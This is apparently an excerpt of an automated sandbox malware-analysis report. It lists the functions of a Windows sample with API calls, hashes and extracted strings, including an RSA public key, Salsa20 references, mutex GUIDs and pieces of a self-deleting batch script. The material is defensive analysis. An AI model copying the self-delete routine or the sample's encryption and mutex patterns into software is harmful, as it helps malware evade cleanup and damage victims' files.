Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Uniqueness

Uniqueness Score: -1.00%

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm$__lock_doexit
String ID:
API String ID: 3712619029-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Uniqueness

Uniqueness Score: -1.00%

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: b12fc41aaf747df4b6375f9b2df9c8002ef335982a6109e29cb2c3524b9e13cd
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: b12fc41aaf747df4b6375f9b2df9c8002ef335982a6109e29cb2c3524b9e13cd
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg, xrefs: 00419EC4
p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\n8S4cMO\/Bdgsd+jTtFbVs1bX4OXiYKnMXg$p2Q
API String ID: 2102423945-1179015486
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
" goto try, xrefs: 00412666
@echo off:trydel ", xrefs: 0041262A
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
del ", xrefs: 00412674
"if exist ", xrefs: 00412648
TEMP, xrefs: 004125DF
D, xrefs: 00412720
delself.bat, xrefs: 0041261C

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----BEGIN , xrefs: 004636A4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----END , xrefs: 0046382F, 00463940, 004639E4
-----, xrefs: 004636D4, 00463A21
, xrefs: 00463A90

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 18.1, APIs: 12, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 00425BA7
__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson__wsetlocale_nolock_wcscmp
String ID:
API String ID: 2762079118-0
Opcode ID: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
